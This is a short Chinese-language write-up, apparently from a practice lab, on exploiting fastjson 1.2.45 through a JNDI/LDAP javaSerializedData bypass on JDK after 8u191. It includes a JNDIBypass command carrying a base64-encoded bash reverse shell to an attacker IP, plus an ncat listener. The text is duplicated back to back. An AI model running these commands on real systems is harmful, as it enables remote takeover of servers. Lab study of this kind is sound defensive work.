JDK8u191以后的JNDI就没那么轮椅了得吃点操作这周挺忙的也是闲下来了打一打靶场0x00 信息收集重复操作就不一一列举了看我往期文章。检查不在黑名单的类858个探测fastjson版本1.2.45探测能否出网可以探测敏感依赖16个。注意到org.yaml.snakeyaml.Yaml然而后测试没有load方法。于是这里用ldap的javaSerializedData来打。0x01 直接打这边用了一个二改的JNDIBypass俩konsole命令如下/usr/lib/jvm/java-8-openjdk/bin/java -jar JNDIBypass.jar -a 10.0.164.157 -p 1389 -c bash -c {echo,YmFzaCAtaSAJiAvZG V2L3RjcC8xMC4wLjE2NC4xNTcvODA4MCAwPiYx}|{base64,-d}|{bash,-i} ncat -nvlp 8080其中base64内容是bash -i /dev/tcp/10.0.164.157/8080 01 因为目标靶场没nc。请求包如下也是直接拿到了
JDK8u191以后的JNDI就没那么轮椅了得吃点操作这周挺忙的也是闲下来了打一打靶场0x00 信息收集重复操作就不一一列举了看我往期文章。检查不在黑名单的类858个探测fastjson版本1.2.45探测能否出网可以探测敏感依赖16个。注意到org.yaml.snakeyaml.Yaml然而后测试没有load方法。于是这里用ldap的javaSerializedData来打。0x01 直接打这边用了一个二改的JNDIBypass俩konsole命令如下/usr/lib/jvm/java-8-openjdk/bin/java -jar JNDIBypass.jar -a 10.0.164.157 -p 1389 -c bash -c {echo,YmFzaCAtaSAJiAvZG V2L3RjcC8xMC4wLjE2NC4xNTcvODA4MCAwPiYx}|{base64,-d}|{bash,-i} ncat -nvlp 8080其中base64内容是bash -i /dev/tcp/10.0.164.157/8080 01 因为目标靶场没nc。请求包如下也是直接拿到了
